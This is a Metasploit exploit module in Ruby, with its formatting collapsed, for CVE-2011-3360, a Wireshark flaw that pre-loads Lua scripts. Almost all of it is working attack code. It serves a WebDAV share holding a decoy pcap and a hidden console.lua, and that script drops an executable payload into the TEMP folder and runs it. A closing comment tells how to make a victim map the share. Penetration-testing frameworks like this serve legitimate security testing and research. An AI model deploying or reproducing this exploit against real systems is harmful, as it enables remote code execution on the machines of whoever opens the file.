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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Wireshark console.lua pre-loading vulnerability", 'Description'=> %q{ This modules exploits a vulnerability in Wireshark 1.6 or less. When opening a pcap file, Wireshark will actually check if there's a 'console.lua' file in the same directory, and then parse/execute the script if found.Versions affected by this vulnerability: 1.6.0 to 1.6.1, 1.4.0 to 1.4.8 }, 'License'=> MSF_LICENSE, 'Author' => [ 'sinn3r',#Metasploit ], 'References' => [ ['CVE', '2011-3360'], ['OSVDB', '75347'], ['URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=6136'], ['URL', 'http://technet.microsoft.com/en-us/security/advisory/2269637'] ], 'Payload'=> { 'BadChars' => "\x00", }, 'DefaultOptions'=> { 'ExitFunction' => "none" }, 'Platform' => 'win', 'Targets'=> [ ['Wireshark 1.6.1 or less', {}], ], 'Privileged' => false, 'DisclosureDate' => "Jul 18 2011",#Didn't go public until 2011-09-21 though 'DefaultTarget'=> 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]), OptString.new('URIPATH', [ true, "The URI to use", "/" ]), OptString.new('FILENAME',[ true, "The name of the pcap file", "msf.pcap"]) ], self.class) deregister_options('SSL', 'SSLVersion') # WebDAV does not support SSL end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) print_status("URI requested: #{request.uri.to_s}") if request.uri =~ /\.lua$/ # Load lua script print_status("Sending lua script") send_response(cli, @p, {'Content-Type'=>'application/octet-stream'}) elsif request.uri =~ /#{datastore['FILENAME']}/ # Load an empty pcap file # Format reference: http://wiki.wireshark.org/Development/LibpcapFileFormat pcap = '' pcap << "\xd4\xc3\xb2\xa1"#Magic number pcap << "\x02\x00"#Major version number pcap << "\x04\x00"#Minor version number pcap << "\x00\x00\x00\x00"#GMT to local correction pcap << "\x00\x00\x00\x00"#Accuracy of timestamp pcap << "\xff\xff\x00\x00"#Maxlength of captured packets in octets pcap << "\x01\x00\x00\x00"#Data length type print_status("Sending fake pcap file") send_response(cli, pcap, {'Content-Type'=>'application/octet-stream'}) else # Don't know the request, return not found print_error("Don't care about this file, 404") send_not_found(cli) end return end def process_options(cli, request) vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL'=> '<DAV:sql>', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public'=> 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = '' resp['Content-Type'] = 'text/xml' cli.send_response(resp) end def process_propfind(cli, request) path = request.uri vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}") body = '' my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_uri= "http://#{my_host}/" if path !~ /\/$/ if path.index(".") print_status("Sending 404 for #{path} ...") resp = create_response(404, "Not Found") resp['Content-Type'] = 'text/html' cli.send_response(resp) return else print_status("Sending 301 for #{path} ...") resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end print_status("Sending directory multistatus for #{path} ...") body = <<-BODY <?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate> <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> BODY body = body.gsub(/^\t\t/, '') if request["Depth"].to_i > 0 if path.scan("/").length < 2 body << generate_shares(path) else #Set filenames, and set the hidden attribute filenames = [ ['console.lua', true], [datastore['FILENAME'], false] ] body << generate_files(path, filenames) end end body << "</D:multistatus>" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def gen_timestamp(ttype=nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end def gen_datestamp(ttype=nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end def generate_shares(path) share_name = datastore['SHARENAME'] share = <<-SHARE <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{share_name}/</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> SHARE share = share.gsub(/^\t\t/, '') return share end def generate_files(path, items) trail = path.split("/") return "" if trail.length < 2 files = "" items.each do |f, hide| h = hide ? '1' : '0' files << <<-FILES <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{f}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> <D:ishidden b:dt="boolean">#{h}</D:ishidden> </D:propstat> </D:response> FILES end files = files.gsub(/^\t\t\t/, '') return files end def get_lua_payload # Generate our executable payload, and then convert every byte # in decimal format p = generate_payload_exe buf = '' p.each_byte do |b| buf << "\\#{b.to_s}" end # Create the lua script that contains our payload var_payload_name = rand_text_alpha(5) var_temp_name= rand_text_alpha(5) lua_script = <<-LUA #{var_payload_name} = "#{buf}" #{var_temp_name} = os.getenv("TEMP") .. os.tmpname() .. ".exe" local f = io.open(#{var_temp_name}, "wb") f:write(#{var_payload_name}) f:close() os.execute(#{var_temp_name}) LUA lua_script = lua_script.gsub(/^\t\t/, '') return lua_script end def exploit @p = get_lua_payload super end end =begin Example of how to open the share: My Computer -> Tools -> Map Network Driver -> Sign up for online storage or connect to a network server -> Choose another network location -> enter the network address On an unpatched XP SP3 (and other Windows systems), the ideal URI format is like this: http://192.168.1.11/ But on a fully patched XP SP3, the same URI format will not work. Windows will try to list the share via SMB, and the victim will not see the share.In this case, you should specify the URI to like this: http://192.168.1.11/files =end |
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